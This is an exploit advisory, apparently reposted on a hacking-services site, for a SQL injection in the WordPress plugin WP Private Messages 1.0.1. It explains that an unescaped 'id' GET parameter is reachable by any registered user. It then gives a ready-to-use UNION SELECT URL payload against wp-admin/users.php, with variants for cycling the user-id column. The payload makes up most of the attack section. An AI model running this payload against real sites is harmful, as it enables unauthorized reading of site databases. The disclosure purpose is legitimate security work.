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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title:  WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-private-messages/
 
# Software Link: https://wordpress.org/plugins/wp-private-messages/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.1
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: registered user.  
$_GET[‘id’] is not escaped. Url is accessible for every registered user.

http://lenonleite.com.br/en/blog/2016/12/16/wp-private-messages-1-0-1-plugin-wordpress-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 -Using :

http://target/wp-admin/users.php?page=wp-private-messages%2Fwpu_private_messages.php&wpu=readid=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wp_terms+WHERE++term_id%3D1&r=recieved

Obs: Use id number of your user in third column after word select. For example:

…UNION+SELECT+1,2,1,name,slug…

…UNION+SELECT+1,2,2,name,slug…

…UNION+SELECT+1,2,3,name,slug…

…UNION+SELECT+1,2,4,name,slug…

…UNION+SELECT+1,2,5,name,slug…

3 - Timeline:

    12/12/2016 – Discovered
    13/12/2016 – Vendor not finded